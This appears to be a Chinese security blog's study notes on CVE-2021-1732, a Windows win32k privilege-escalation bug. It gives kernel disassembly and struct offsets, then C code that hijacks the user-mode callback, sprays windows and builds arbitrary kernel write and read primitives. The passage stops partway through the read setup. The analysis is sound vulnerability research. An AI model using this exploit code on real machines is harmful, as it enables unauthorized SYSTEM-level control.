<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    CVE-2021-1732提權漏洞學習筆記

    VSole2022-08-23 17:10:38

    一、前言

    1.漏洞描述

    win32kfull!xxxCreateWindowEx函數創建窗口的過程中,當創建的窗口對象存在擴展內存的時候,會通過函數KeUserModeCallback返回用戶層,申請需要的內存。返回到內核繼續執行的時候,會將用戶層函數中指定的地址保存到窗口對象偏移0x128的pExtraBytes成員中。當用戶層對窗口調用SetWindowLongPtr函數的時候,函數會將pExtraBytes用于指定要寫入的目標地址。

    通過劫持用戶層函數的執行,可以讓SetWindowLongPtr函數對不合法地址進行寫入會產生BSOD,也可以通過計算來擴大其他窗口的cbwndExtra,從而實現任意地址讀寫,最終實現提權。

    2.實驗環境

    • 操作系統:Win10 x64 1909 專業版
    • 編譯器:Visual Studio 2017
    • 調試器:IDA Pro, WinDbg

    二、漏洞分析

    1.關鍵結構體成員

    新的Win10版本修改了比較多的win32k*中的結構體,并且沒有導出。所以以下部分成員只能是通過推測得出,首先是保存線程信息的tagTHREADINFO結構體,其偏移0x1C0保存的是tagDESKTOP結構體:

    1: kd> dt tagTHREADINFO   +0x1C0 rpdesk           : Ptr64 tagDESKTOP
    

    tagDESKTOP偏移0x80處保存的是pheapDesktop,該成員保存的是桌面堆的基址:

    0: kd> dt tagDESKTOP   +0x080 pheapDesktop     : Ptr64 tagWIN32HEAP
    

    tagWND有了比較大的變化,窗口的擴展內存不在直接跟在tagWND之后,當偏移0xE8的Flags不包含0x800標記的時候,擴展內存的地址直接保存在0x128的pExtraBytes中,當Flags包含0x800標記的時候,擴展內存存在于桌面堆中,與桌面堆基址的偏移保存在了0x128的pExtraBytes中。偏移0x28指向了tagWDNK結構體,偏移0x8和0x30處保存了0x28所指向的地址于桌面堆地址的偏移:

    2: kd> dt tagWND   +0x000 h               : Ptr64 Void   +0x008 DesktopOffset   : Uint8B   +0x010 pti             : Ptr64 tagTHREADINFO   +0x018 rpdesk          : Ptr64 tagDESKTOP   +0x020 pSelf           : Ptr64 tagWND   +0x028 ptagWNDK        : Ptr64 tagWNDK   +0x030 DesktopOffset   : Uint8B   +0x058 Left            : Uint4B   +0x05C Right           : Uint4B          +0x098 spMenu          : Ptr64 tagMENU   +0x0C8 cbwndExtra      : UInt4B   +0x0E8 Flags           : UInt4B   +0x128 pExtraBytes     : Uint8B
    

    偏移0xA8指向的tagMENU,這里只需要知道tagMENU結構體偏移0x98的pSelf指向的是tagMENU本身,而0x28的tagWDNK結構體如下:

    struct tagWNDK{    ULONG64 hWnd;               //+0x00    ULONG64 OffsetToDesktopHeap;//+0x08 tagWNDK相對桌面堆基址偏移    ULONG64 state;              //+0x10    DWORD dwExStyle;            //+0x18    DWORD dwStyle;              //+0x1C    BYTE gap[0x38];    DWORD rectBar_Left;         //0x58    DWORD rectBar_Top;          //0x5C    BYTE gap1[0x68];    ULONG64 cbWndExtra;         //+0xC8 窗口擴展內存的大小    BYTE gap2[0x18];    DWORD dwExtraFlag;          //+0xE8  決定SetWindowLong尋址模式    BYTE gap3[0x10];            //+0xEC    DWORD cbWndServerExtra;     //+0xFC    BYTE gap5[0x28];    ULONG64 pExtraBytes;    //+0x128 模式1:內核偏移量 模式2:用戶態指針};
    

    2.HMAllocObject函數分析

    該函數定義如下,當第三個參數bType指定為TYPE_WINDOW(0x1)的時候,就會用于創建窗口對象:

    PVOID HMAllocObject(PTHREADINFO ptiOwner,                    PDESKTOP pdeskSrc,                    BYTE bType,                    DWORD size);
    

    函數的主要代碼如下:

    unsigned __int64 __fastcall HMAllocObject(__int64 ptiOwner, __int64 pdeskSrc, unsigned __int8 bType, unsigned int size){  v9 = *((_WORD *)&gahti + 0xC * Type + 6);
      if ( (v9 & 0x10) != 0 && pdeskSrc )  {    if ( (int)IsDesktopAllocSupported() < 0 )      goto LABEL_67;    tagWnd = (unsigned __int64)HMAllocateUserOrIsolatedType(v5, v9, Type); // 創建tagWND對象    if ( !tagWnd )      goto LABEL_67;    ptagWNDk = DesktopAlloc(pdeskSrc,                            *(unsigned int *)((char *)&gahti + v38 + 0x10),                            ((unsigned __int8)Type << 16) | 5u);                // 創建tagWNDK對象    *(_QWORD *)(tagWnd + 0x28) = ptagWNDk;                 // tagWND->ptagWNDK賦值為創建的tagWNDK對象    if ( !ptagWNDk )    {      HMFreeUserOrIsolatedType(v9, Type, (void *)tagWnd);      goto LABEL_67;    }    LockObjectAssignment((void **)(tagWnd + 0x18), (void *)pdeskSrc);    ptagWNDk = *(_QWORD *)(tagWnd + 0x28);    *(_QWORD *)(tagWnd + 0x20) = tagWnd;                   // 為tagWND->pSelf賦值    *(_QWORD *)(tagWnd + 0x30) = ptagWNDk - *(_QWORD *)(pdeskSrc + 0x80);       // 將ptagWNDK與pheapDesktop的偏移賦值給tagWND偏移0x30處  }
      hwnd = (int)v15 | (unsigned __int64)(*(unsigned __int16 *)((char *)qword_1C0215758                                                           + v15 * (unsigned int)dword_1C0215760                                                           + 0x1A) << 16);  // 獲取窗口句柄  *(_QWORD *)tagWnd = hwnd;                            // 為tagWND->hWnd賦值  if ( *(_DWORD *)((char *)&gahti + v38 + 0x10) )  {    ptagWNDk = *(_QWORD *)(tagWnd + 0x28);    *(_QWORD *)ptagWNDk = hwnd;                     // 為ptagWNDK->hWnd賦值    *(_QWORD *)(ptagWNDk + 8) = *(_QWORD *)(tagWnd + 0x30);    // 將ptagWNDK與pheapDesktop的偏移賦值給ptagWNDK偏移0x8處  }
      return tagWND;}
    

    3.xxxCreateWindowEx函數分析

    從gptiCurrent中獲取rpdesk成員,之后調用HMAllocateObject函數來申請tagWND對象:

    .text:00000001C003BCCB                 mov     rax, cs:__imp_gptiCurrent.text:00000001C003BCD2                 mov     r14, [rax].text:00000001C003BCD5                 mov     [rsp+4E8h+var_488], r14.text:00000001C003BCDA                 mov     [rsp+4E8h+var_370], r14.text:00000001C003C1E2                 mov     r15, [rsp+4E8h+var_370].text:00000001C003BDDC                 mov     rax, [r14+1C0h]                  ; rax = tagTHREADINFO->rpdesk.text:00000001C003BDE3                 mov     [rsp+4E8h+rpdesk], rax        // 省略部分代碼.text:00000001C003C198                 xor     ebx, ebx.text:00000001C003C1AC                 lea     esi, [rbx+1] .text:00000001C003C347                 mov     r9d, 150h            ; r9d = 0x150.text:00000001C003C34D                 mov     r8b, sil            ; r8d = 1   .text:00000001C003C350                 mov     rdx, [rsp+4E8h+pdesk]    ; rdx = rpdesk.text:00000001C003C358                 mov     rcx, r15              ; rcx = ptiCurrent.text:00000001C003C35B                 call    cs:__imp_HMAllocObject.text:00000001C003C362                 nop     dword ptr [rax+rax+00h].text:00000001C003C367                 mov     r15, rax                 ; 將tagWND賦給r15.text:00000001C003C36A                 mov     [rsp+4E8h+var_tagWND], rax.text:00000001C003C372                 test    rax, rax.text:00000001C003C375                 jnz     short loc_1C003C3BF
    

    調用tagWND::RedirectedFieldcbwndExtra<int>::operator!=判斷cbWndExtra來判斷是否存在擴展內存,存在的話就會調用xxxClientAlloWindowClassExtraBytes來創建擴展內存:

    .text:00000001C003CDDB                 mov     dword ptr [rsp+4E8h+var_3F8], edi ; edi=0.text:00000001C003CDE2                 lea     rcx, [r15+0B1h].text:00000001C003CDE9                 lea     rdx, [rsp+4E8h+var_3F8].text:00000001C003CDF1                 call    ??9?$RedirectedFieldcbwndExtra@H@tagWND@@QEBAEAEBH@Z ; tagWND::RedirectedFieldcbwndExtra<int>::operator!=(int const &).text:00000001C003CDF6                 test    al, al.text:00000001C003CDF8                 jz      short loc_1C003CE44.text:00000001C003CDFA                 mov     rax, [r15+28h]  ; rax = tagWND->ptagWNDK.text:00000001C003CDFE                 mov     ecx, [rax+0C8h] ; rcx = tagWNDK->cbwndExtra.text:00000001C003CE04                 call    xxxClientAllocWindowClassExtraBytes.text:00000001C003CE09                 mov     rcx, rax        ; 申請內存地址賦給ecx.text:00000001C003CE0C                 mov     rax, [r15+28h]  ; rax = tagWND->ptagWNDK.text:00000001C003CE10                 mov     [rax+128h], rcx ; 申請內存地址賦給tagWNDK->pExtraBytes
    

    4.xxxClientAllocWindowClassExtraBytes函數分析

    xxxClientAllocWindowClassExtraBytes函數的主要代碼如下,函數會調用KeUserModeCallback來發起用戶層的回調來申請內存。從用戶層返回之后,函數會對輸出長度及輸出地址進行判斷,通過判斷后,就會將申請的內存地址返回:

    const void *__fastcall xxxClientAllocWindowClassExtraBytes(SIZE_T Length){  LODWORD(pInputBuffer) = Length;  ret = KeUserModeCallback(0x7Bi64, &pInputBuffer, 4i64, &pOutputBuffer, &nOutLen);  if ( ret < 0 || (_DWORD)nOutLen != 0x18 )     // 輸出長度等于0x18    return 0i64;  v3 = pOutputBuffer;  if ( pOutputBuffer + 1 < pOutputBuffer || (unsigned __int64)(pOutputBuffer + 1) > *(_QWORD *)MmUserProbeAddress )    v3 = *(__int64 **)MmUserProbeAddress;  pAllocBuffer = (const void *)*v3;  ProbeForRead(pAllocBuffer, size, v5 != 0 ? 1 : 4);  return pAllocBuffer;}
    

    用戶層函數的實現則下所示,函數通過RtlAllocateHeap來申請需要大小的內存,之后將其放入Result[0]中,之后會通過NtCallbackReturn函數將申請的內存通過Result數組來申請的內存返回到內核層,第二個參數用來指定返回的數據的長度:

    5.xxxSetWindowLongPtr函數分析

    xxxSetWindowLongPtr函數用來對窗口的擴展區域進行寫入,當nIndex小于0的時候,函數會調用xxxSetWindowData來寫入值:

    .text:00000001C008D383                 test    edi, edi        ; nIndex >= 0則跳轉.text:00000001C008D385                 jns     loc_1C008D487.text:00000001C008D38B                 mov     r9d, r12d.text:00000001C008D38E                 mov     r8, r15.text:00000001C008D391                 mov     edx, edi.text:00000001C008D393                 mov     rcx, rsi        ; struct tagWND *.text:00000001C008D396                 call    xxxSetWindowData.text:00000001C008D39B                 mov     rdi, rax
    

    如果nIndex大于等于0,函數就會判斷nIndex + 8是否大于cbwndExtra,如果大于則會設置錯誤,之后退出函數:

    .text:00000001C008D487 loc_1C008D487:                         .text:00000001C008D487                 mov     r8, [rsi+28h]   ; r8 = tagWND->ptagWNDK.text:00000001C008D48B                 mov     ecx, [r8+0C8h]  ; ecx = ptagWNDK->cbwndExtra.text:00000001C008D492                 mov     r9d, [r8+0FCh]  ; 該偏移的成員為知,但是值為0.text:00000001C008D499                 add     ecx, r9d.text:00000001C008D49C                 mov     eax, edi        ; eax = nIndex.text:00000001C008D49E                 add     rax, 8.text:00000001C008D4A2                 cmp     rax, rcx.text:00000001C008D4A5                 ja      loc_1C008D696   ; 如果nIndex + 8 > cbwndExtra,則跳轉.text:00000001C008D696 loc_1C008D696:                     .text:00000001C008D696                 mov     ecx, 585h.text:00000001C008D69B                 call    UserSetLastError.text:00000001C008D6A0                 test    bl, bl.text:00000001C008D6A2                 jnz     loc_1C01855D0.text:00000001C008D6A8                 xor     eax, eax.text:00000001C008D6AA                 jmp     loc_1C008D3A9
    

    如果nIndex + 8 <= cbwndExtra的時候,函數會判斷窗口對象是否帶有0x800標記,如果有0x800標記,則會將寄存器r8會賦值為nIndex + pExtraBytes:

    .text:00000001C008D4E2                 test    dword ptr [r8+0E8h], 800h ; ptagWNDK->Flags是否包含0x800標記.text:00000001C008D4ED                 jnz     loc_1C018566C.text:00000001C008D4F3                 mov     rax, [r8+128h]  ; rax = ptagWNDK->pExtraBytes.text:00000001C008D4FA                 movsxd  r8, edi         ; r8 = nIndex.text:00000001C008D4FD                 add     r8, rax         ; r8 = nIndex + pExtraBytes
    

    如果不帶有0x800標記,就會將寄存器r8賦值為pheapDesktop + nIndex + pExtraBytes:

    .text:00000001C018566C loc_1C018566C:      .text:00000001C018566C                 mov     rdx, [r8+128h]  ; rdx = ptagWNDK->pExtraBytes.text:00000001C0185673                 mov     rax, [rsi+18h]  ; rax = tagWND->rpdesk.text:00000001C0185677                 movsxd  rcx, edi        ; rcx = nIndex.text:00000001C018567A                 mov     r8, [rax+80h]   ; r8 = tagDESKTOP->pheapDesktop.text:00000001C0185681                 add     r8, rcx         ; r8 = pheapDesktop + nIndex.text:00000001C0185684                 add     r8, rdx         ; r8 = pheapDesktop + nIndex + pExtraBytes.text:00000001C0185687                 jmp     loc_1C008D500
    

    無論是否帶有0x800標記,對r8賦值完之后,函數接下來就會將r8所指向地址中的內容保存到局部變量中,在將dwNewLong賦值到r8所指的地址:

    .text:00000001C008D500 loc_1C008D500:                          .text:00000001C008D500                 mov     rdi, [r8].text:00000001C008D503                 mov     [rsp+88h+var_oldNew], rdi.text:00000001C008D508                 mov     [r8], r15       ; 將dwNewLong賦值到寄存器所指向的地址.text:00000001C008D50B                 jmp     loc_1C008D39E
    

    三、漏洞驗證

    1.修改pExtraBytes

    由于xxxCreateWindowEx函數沒有對用戶層通過NtCallbackReturn函數指定的地址進行合法性驗證,就將其賦值到窗口對象的pExtraBytes中。而對相應窗口調用SetWindowLongPtr的時候,會直接將pExtraBytes用于來指定讀寫地址。所以,通過對用戶層的xxxClientAllocWindowClassExtraBytes進行劫持,可以將pExtraBytes指定為特定的值來觸發BSOD。

    為了可以在指定的窗口來修改函數,首先創建觸發漏洞窗口的時候,擴展內存的大小,即cbwndExtra要指定為一個特定的值:

    BOOL InitTriggerWnd(){    BOOL bRet = TRUE;
        HINSTANCE handle = NULL;
        handle = GetModuleHandle(NULL);    if (!handle)    {        bRet = FALSE;        ShowError("GetModuleHandle", GetLastError());        goto exit;    }
        PCHAR pClassName = "Trigger";    WNDCLASSEX wndClass = { 0 };
        wndClass.cbSize = sizeof(wndClass);    wndClass.lpfnWndProc = DefWindowProc;    wndClass.style = CS_VREDRAW | CS_HREDRAW;    wndClass.cbWndExtra = g_dwWndExtra;           // 指定特定的大小    wndClass.hInstance = handle;    wndClass.lpszClassName = pClassName;
        if (!RegisterClassEx(&wndClass))    {        bRet = FALSE;        ShowError("RegisterClassEx", GetLastError());        goto exit;    }
        g_hTriggerWnd = CreateWindowEx(WS_EX_NOACTIVATE,                           pClassName,                       NULL,                       WS_DISABLED,                       0, 0, 0, 0,                       NULL,                       NULL,                       handle,                       NULL);
        if (!g_hTriggerWnd)    {        bRet = FALSE;        ShowError("CreateWindowEx", GetLastError());        goto exit;    }
    exit:    return bRet;}
    

    接下來可以在劫持的函數中,通過要申請內存的大小判斷是否為目標窗口:

    NTSTATUS MyxxxClientAllocWindowClassExtraBytes(PVOID arg0){    if (*(PDWORD)arg0 == g_dwWndExtra)    {        BYTE bRes[0x18] = { 0 };        // 設置tagWND->pExtraBytes        *(PULONG64)bRes = 0x100;        return fnNtCallbackReturn(bRes, sizeof(bRes), 0);    }
        return g_orgClientAllocWindowExtraBytes(arg0);}
    

    此時可以在xxxSetWindowLongPtr中關鍵位置下斷點,因為創建的窗口對象的Flags不會帶有0x800標記,所以函數會直接取出pExtraBytes用于讀寫,此時的地址為指定的不合法的0x100。按道理,繼續執行會出現BSOD,然而事實上繼續運行,函數會直接退出(應該有什么處理機制)。

    2.xxxConsoleControl函數分析

    xxxSetWindowLongPtr會通過tagWND->Flags來選擇不同方式來指定用于讀寫的地址,要在Flags中加入0x800標記,可以通過xxxConsoleControl函數來實現,該函數定義如下:

    __int64 __fastcall xxxConsoleControl(int nIndex,                                     struct _CONSOLE_PROCESS_INFO *pInfo,                                     int nInLength);
    

    要到達修改標記的代碼,需要參數nIndex等于6,參數nInLength等于0x10。滿足這兩條之后,xxxConsoleControl函數會從參數pInfo中取出窗口的句柄,通過ValidateHwnd來獲取相應的窗口對象:

    .text:00000001C00E0571                 mov     edi, r8d        ; edi = nLength.text:00000001C00E0580                 test    ecx, ecx.text:00000001C00E0582                 jz      loc_1C01A3F71.text:00000001C00E0588                 sub     ecx, 1.text:00000001C00E058B                 jz      loc_1C00E0671.text:00000001C00E0591                 sub     ecx, 1.text:00000001C00E0594                 jz      loc_1C01A3F5B.text:00000001C00E059A                 sub     ecx, 1.text:00000001C00E059D                 jz      loc_1C00E0686.text:00000001C00E05A3                 sub     ecx, 1.text:00000001C00E05A6                 jz      loc_1C01A3F30.text:00000001C00E05AC                 sub     ecx, 1          ; nIndex - 5 != 0.text:00000001C00E05AF                 jnz     loc_1C00E06A3        // 省略部分代碼.text:00000001C00E06A3 loc_1C00E06A3:                         .text:00000001C00E06A3                 cmp     ecx, 1          ; nIndex = 6不跳轉.text:00000001C00E06A6                 jnz     loc_1C01A3F12.text:00000001C00E06AC                 cmp     edi, 10h        ; nInLength == 0x10不跳轉.text:00000001C00E06AF                 jnz     loc_1C01A3F71.text:00000001C00E06B5                 mov     rcx, [rdx]      ; rcx = [pInfo].text:00000001C00E06B8                 call    cs:__imp_ValidateHwnd.text:00000001C00E06BF                 nop     dword ptr [rax+rax+00h].text:00000001C00E06C4                 mov     rdi, rax        ; rdi = tagWND
    

    判斷Flags是否帶有0x800標記:

    .text:00000001C00E0772                 test    dword ptr [rcx+0E8h], 800h ; tagWND->Flags是否包含0x800.text:00000001C00E077C                 jz      short loc_1C00E07BE
    

    因為創建的窗口不帶有0x800標記,函數就會調用DesktopAlloc來申請一塊新的內存:

    .text:00000001C00E07BE loc_1C00E07BE:                         .text:00000001C00E07BE                 mov     edx, [rcx+0C8h] ; edx = tagWND->cbwndExtra.text:00000001C00E07C4                 xor     r8d, r8d.text:00000001C00E07C7                 mov     rcx, [rdi+18h]  ; rcx = tagWND->rpdesk.text:00000001C00E07CB                 call    DesktopAlloc.text:00000001C00E07D0                 mov     r14, rax         ; r14 = 申請的內存地址.text:00000001C00E07D3                 mov     [rsp+0B8h+var_heap], rax ; 保存到局部變量中.text:00000001C00E07D8                 test    rax, rax.text:00000001C00E07DB                 jz      loc_1C01A3F1C
    

    接下來將新創建的內存地址減去pheapDesktop得到的偏移賦值到ptagWNDK->pExtraBytes中:

    .text:00000001C00E0876 loc_1C00E0876:                         .text:00000001C00E0876                 mov     rax, [rdi+18h]  ; rax = tagWND->rpdesk.text:00000001C00E087A                 mov     rcx, r14        ; rcx等于剛申請的內存.text:00000001C00E087D                 sub     rcx, [rax+80h]  ; rcx = 新申請的內存減去rpdesk->pheapDesktop.text:00000001C00E0884                 mov     rax, [r15]      ; rax = tagWND->ptagWNDK.text:00000001C00E0887                 mov     [rax+128h], rcx ; ptagWNDK->pExtraBytes = rcx.text:00000001C00E088E                 jmp     loc_1C00E0790
    

    之后就是在Flags中增加0x800標記:

    .text:00000001C00E07A2 loc_1C00E07A2:                        .text:00000001C00E07A2                 mov     rax, [r15]      ; rax = tagWND->ptagWNDK.text:00000001C00E07A5                 bts     dword ptr [rax+0E8h], 0Bh ; 將ptagWNDK->Flags第0xB位設為1,即在Flags中增加0x800標記
    

    3.漏洞觸發

    想要成功觸發漏洞,需要通過xxxConsoleControl函數在Flags中增加0x800標記,但是調用xxxConsoleControl的時候,需要傳入窗口的句柄,而在用戶層的xxxClientAllocWindowClassExtraBytes執行過程中,用戶層的CreateWindow函數還未返回,因為還未拿到窗口的句柄。但,在xxxCreateWindowEx函數在調用xxxClientAllocWindowClassExtraBytes之前,已經將窗口句柄賦值到窗口對象偏移0x0處。

    因此,可以首先創建大量的窗口,然后釋放掉其中的部分窗口,這樣之后創建觸發漏洞的窗口占用的內存就會占用到這些釋放的窗口。

    BOOL Init_CVE_2021_1732(){    BOOL bRet = TRUE;    DWORD i = 0;
        lHMValidateHandle HMValidateHandle = NULL;
        HMValidateHandle = (lHMValidateHandle)GetHMValidateHandle();    if (!HMValidateHandle)    {        bRet = FALSE;        goto exit;    }
        HINSTANCE handle = NULL;
        handle = GetModuleHandle(NULL);    if (!handle)    {        bRet = FALSE;        ShowError("GetModuleHandle", GetLastError());        goto exit;    }
        WNDCLASSEX wndClass = { 0 };    PCHAR pClassName = "leak";
        wndClass.cbWndExtra = 0x20;    wndClass.cbSize = sizeof(wndClass);    wndClass.style = CS_VREDRAW | CS_HREDRAW;    wndClass.hInstance = handle;    wndClass.lpfnWndProc = DefWindowProc;    wndClass.lpszClassName = pClassName;
        if (!RegisterClassEx(&wndClass))    {        bRet = FALSE;        ShowError("RegisterClassEx", GetLastError());        goto exit;    }
        HWND hWnd = NULL;
        for (i = 0; i < g_dwWinNum; i++)    {        hWnd = CreateWindowEx(WS_EX_NOACTIVATE,                      pClassName,                      NULL,                          WS_DISABLED,                      0, 0, 0, 0,                      NULL,                       NULL,                       handle,                          NULL);        if (!hWnd) continue;
            g_hWnd[i] = hWnd;        g_pWnd[i] = (ULONG64)HMValidateHandle(hWnd, TYPE_WINDOW);    }
        // 釋放部分窗口,之后創建觸發漏洞的窗口會占用釋放的這些窗口中的其中一個    for (i = 2; i < g_dwWinNum; i += 2)    {        if (g_hWnd[i])        {            DestroyWindow(g_hWnd[i]);        }    }
    exit:    return bRet;}
    

    此時,就可以從釋放的窗口中搜索觸發漏洞的窗口,之后就可以修改窗口標記,在返回指定的地址:

    NTSTATUS MyxxxClientAllocWindowClassExtraBytes(PVOID arg0){    if (*(PDWORD)arg0 == g_dwWndExtra)    {        HWND hTriggerWnd = NULL;        DWORD i = 0;
            for (i = 2; i < g_dwWinNum; i += 2)        {            if (g_hWnd[i])            {                DWORD cbWndExtra = *(PDWORD)(g_pWnd[i] + g_cbWndExtra_offset);                if (cbWndExtra == g_dwWndExtra)                {                    hTriggerWnd = (HWND)*(PULONG64)g_pWnd[i];                    break;                }            }        }
            if (hTriggerWnd)        {
                BYTE bInfo[0x10] = { 0 };
                // tagWND->Flag |= 0x800            *(HWND *)bInfo = hTriggerWnd;            fnNtUserConsoleControl(6, bInfo, sizeof(bInfo));
                BYTE bRes[0x18] = { 0 };
                // 設置tagWND->pExtraBytes            *(PULONG64)bRes = 0xFFFFFF00;            return fnNtCallbackReturn(bRes, sizeof(bRes), 0);        }        else printf("do not find hTriggerWnd\n");    }
        return g_orgClientAllocWindowExtraBytes(arg0);}
    

    再次在xxxSetWindowLongPtr處下斷點,此時窗口的Flags帶有0x800標記,所以會通過不同的方法來計算要讀寫的內存地址,該地址是無效的:

    繼續運行就會產生BSOD錯誤:

    四、漏洞利用

    1.任意地址寫

    根據上面的內容可以得出以下的內容:

    tagWNDK + 8處保存的是ptagWNDK - pheapDesktop。

    通過xxxConsoleControl增加0x800標記的時候,會將窗口的pExtraBytes修改為新申請的內存地址減去pheapDesktop的值。

    當Flags包含0x800標記,SetWindowLongPtr要讀寫的地址是pheapDesktop + nIndex + pExtraBytes的值。

    當Flags不包含0x800標記,SetWindowLongPtr要讀寫的地址是pExtraBytes + nIndex。

    pheapDesktop的值是相同的,且現在可以修改pExtraBytes以及為Flags可以增加0x800標記。此時,實現任意地址寫的思路如下:

    1、創建兩個窗口,分別為tagWND0,tagWND1。

    2、在tagWND0中增加0x800標記,這樣tagWND0->pExtraBytes中保存的就是與pheapDesktop的偏移。

    3、在用戶層的xxxClientAllocWindowClassExtraBytes函數中,在調用NtCallbackReturn函數返回的時候,將地址修改為tagWND0 + 8處保存的偏移,這樣對觸發漏洞的窗口調用SetWindowLongPtr,就可以直接擴大tagWND0中的cbwndExtra。

    4、因為tagWND0的pExtraBytes指向的是pheapDesktop的偏移,而tagWNDK1也保存在相對于pheapDesktop的偏移,而該值可以通過tagWND1 + 8處來獲取,這樣可以計算出tagWND0->pExtraBytes與tagWND1 + 8的偏移。又因為tagWND0的cbwndExtra被擴大了,這樣就可以通過tagWND0直接修改tagWND1的pExtraBytes。

    5、因為tagWND1沒有具有0x800標記,所以直接對tagWND1調用SetWindowLongPtr會直接對pExtraBytes指向的地址進行寫入,由此就實現任意地址寫。

    在之前釋放窗口的時候,是從下標2開始釋放窗口,就是因為要將創建的第一個和第二個窗口作為tagWND0和tagWND1用于之后利用。此時,在循環創建窗口的時候,需要對創建的第0個窗口加入0x800標記,且記錄需要用到的偏移:

                   if (i == 0)        {            g_qwKernelHeapOffset0 = *(PQWORD)(g_pWnd[i] + 8);            BYTE bInfo[0x10] = { 0 };            *(HWND *)bInfo = g_hWnd[0];            fnNtUserConsoleControl(6, bInfo, sizeof(bInfo));
                g_qwWndOffset = *(PQWORD)(g_pWnd[i] + g_ExtraBytes_offset);        }
    

    釋放窗口以后,就可以計算第4步需要的偏移:

    g_qwKernelHeapOffset1 = *(PQWORD)(g_pWnd[1] + 8);
    if (g_qwWndOffset > g_qwKernelHeapOffset1){    bRet = FALSE;    printf("g_pWnd[0] offset is invalid!\n");    goto exit;}
    g_qwWndOffset = g_qwKernelHeapOffset1 - g_qwWndOffset;
    

    此時對于觸發漏洞的窗口,需要將返回值修改為tagWDN0 + 8的保存的值:

                    if (hTriggerWnd)        {              BYTE bInfo[0x10] = { 0 };
                // tagWND->Flag |= 0x800            *(HWND *)bInfo = hTriggerWnd;            fnNtUserConsoleControl(6, bInfo, sizeof(bInfo));
                BYTE bRes[0x18] = { 0 };
                // 設置tagWND->pExtraBytes            *(PULONG64)bRes = g_qwKernelHeapOffset0;            return fnNtCallbackReturn(bRes, sizeof(bRes), 0);        }
    

    當創建完用于觸發漏洞的窗口之后,可以通過函數擴大tagWND0的cbwndExtra:

    // 將g_hWnd[0]的cbwndExtra設為0xFFFFFFFFif (!SetWindowLongPtr(g_hTriggerWnd, g_cbWndExtra_offset, 0xFFFFFFFF) &&    GetLastError() != 0){    bRet = FALSE;    ShowError("SetWindowLongPtr", GetLastError());    goto exit;}
    

    現在就可以通過tagWND0修改tagWND1的pExtraBytes來實現任意地址寫入:

    BOOL WriteData_CVE_2021_1732(PVOID pTarAddress, QWORD qwValue){    BOOL bRet = TRUE;
        if (!SetWindowLongPtr(g_hWnd[0], g_qwWndOffset + g_ExtraBytes_offset, (QWORD)pTarAddress) &&        GetLastError() != 0)    {        bRet = FALSE;        ShowError("SetWindowLongPtr", GetLastError());        goto exit;    }
        if (!SetWindowLongPtr(g_hWnd[1], 0, qwValue) && GetLastError() != 0)    {        bRet = FALSE;        ShowError("SetWindowLongPtr", GetLastError());        goto exit;    }
    exit:    return bRet;}
    

    2.任意地址讀

    任意地址的讀通過GetMenuBarInfo函數來實現,該函數定義如下,其中第三個參數的pmbi->rcBar用來記錄讀取到的值:

    BOOLWINAPIGetMenuBarInfo(    _In_ HWND hwnd,    _In_ LONG idObject,    _In_ LONG idItem,    _Inout_ PMENUBARINFO pmbi);
    typedef struct tagMENUBARINFO {  DWORD cbSize;  RECT  rcBar;  HMENU hMenu;  HWND  hwndMenu;  BOOL  fBarFocused:1;  BOOL  fFocused:1;} MENUBARINFO, *PMENUBARINFO;
    typedef struct _RECT {   LONG left;   LONG top;   LONG right;   LONG bottom; } RECT, *PRECT;
    

    GetMenuBarInfo對應的內核函數是xxxGetMenuBarInfo函數,該函數的主要代碼如下,先有三處驗證,驗證通過之后,會將*(spMenu + 0x58)中保存的地址用于讀取相應值,在保存于pmbi的rcBar中:

    __int64 __fastcall xxxGetMenuBarInfo(ULONG_PTR pwnd, __int64 idObject, __int64 idItem, __int64 pmbi){  switch ( idObject )  {    case -3:                               // idObject == -3,第一處驗證      if ( (*(_BYTE *)(spMenu + 0x1F) & 0x40) != 0 )        goto LABEL_9;      spMenu = *(_QWORD *)(pwnd + 0xA8);             // tagWND->spMenu不存在則返回,第二處驗證                if ( !spMenu )        goto LABEL_9;      SmartObjStackRefBase<tagMENU>::operator=(&kspMenu, spMenu);  // kspMenu = spMenu->spSelf
          if ( *(_DWORD *)(*kspMenu + 0x40) && *(_DWORD *)(*kspMenu + 0x44)) // *(spMenu + 0x40) != 0 && *(spMenu + 0x44) != 0,第三處驗證      {        if ( (_DWORD)IdItem )                   // idItem == 1        {          ptagWNDk = *(_QWORD *)(pwnd + 0x28);          num_0x60 = 0x60 * IdItem;          rgItemListEntry = *(_QWORD *)(*kspMenu + 0x58);          tarAddr = *(_QWORD *)(0x60 * IdItem + rgItemListEntry - 0x60);// tarAddr = *(spMenu + 0x58)          if ( (*(_BYTE *)(ptagWNDk + 0x1A) & 0x40) != 0 )          {            v49 = *(_DWORD *)(ptagWNDk + 0x60) - *(_DWORD *)(tarAddr + 0x40);            *(_DWORD *)(pmbi + 0xC) = v49;            *(_DWORD *)(pmbi + 4) = v49 - *(_DWORD *)(*(_QWORD *)(num_0x60 + rgItemListEntry - 0x60) + 0x48i64);          }          else                                  // 這里會走else分支          {            value = *(_DWORD *)(tarAddr + 0x40) + *(_DWORD *)(ptagWNDk + 0x58);// value = *(*(spMenu + 0x58) + 0x40) + ptagWNDK->Left            *(_DWORD *)(pmbi + 4) = value;      // 為pmbi->rcBar->left賦值            *(_DWORD *)(pmbi + 0xC) = value + *(_DWORD *)(*(_QWORD *)(num_0x60 + rgItemListEntry - 0x60) + 0x48i64);          }          Value = *(_DWORD *)(*(_QWORD *)(num_0x60 + rgItemListEntry - 0x60) + 0x44i64) + *(_DWORD *)(*(_QWORD *)(pwnd + 0x28) + 0x5Ci64);// Value = *(*(spMenu + 0x58) + 0x44) + ptagWNDK->Right          *(_DWORD *)(pmbi + 8) = Value;        // 為pmbi->rcBar->top賦值          v44 = Value + *(_DWORD *)(*(_QWORD *)(num_0x60 + rgItemListEntry - 0x60) + 0x4Ci64);        }      }  }}
    

    第一處驗證,只需調用參數時指定參數idObject為-3就行。第二處驗證,在創建窗口的時候,對于用于利用的窗口需要設置spMenu:

    if (i == 1){    // 從第1個tagWND開始將帶有tagMENU對象    hMenu = CreateMenu();    hHelpMenu = CreateMenu();    if (!hMenu || !hHelpMenu)    {        bRet = FALSE;        ShowError("CreateMenu", GetLastError());        goto exit;    }
